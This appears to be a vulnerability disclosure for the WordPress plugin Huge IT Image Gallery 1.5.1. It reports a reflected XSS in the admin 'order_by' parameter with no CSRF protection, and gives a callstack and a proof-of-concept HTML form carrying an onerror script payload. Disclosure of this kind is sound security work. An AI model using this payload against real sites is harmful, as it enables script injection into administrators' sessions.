Hello,

Plugin: Huge IT Image Gallery 1.5.1 https://wordpress.org/plugins/gallery-images/

1. Reflected Cross-Site Scripting (XSS)

Authenticated users (like editors) can inject html/js code (there is no CSRF protection).

Method: POST

Url: http://localhost/wp-admin/admin.php?page=gallerys_huge_it_gallery

Vulnerable parameters: order_by

Example PHP callstack:

showgallery   [/gallery-images/admin/gallery_func.php:67]

html_showgallerys   [/gallery-images/admin/gallery_view.php:186]

Verification:

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<form method="POST" action="http://localhost/wp-admin/admin.php?page=gallerys_huge_it_gallery" />

<input type="text" name="order_by" value='"><img src=x onerror=alert(1) />' />

<input type="submit" />

</form>

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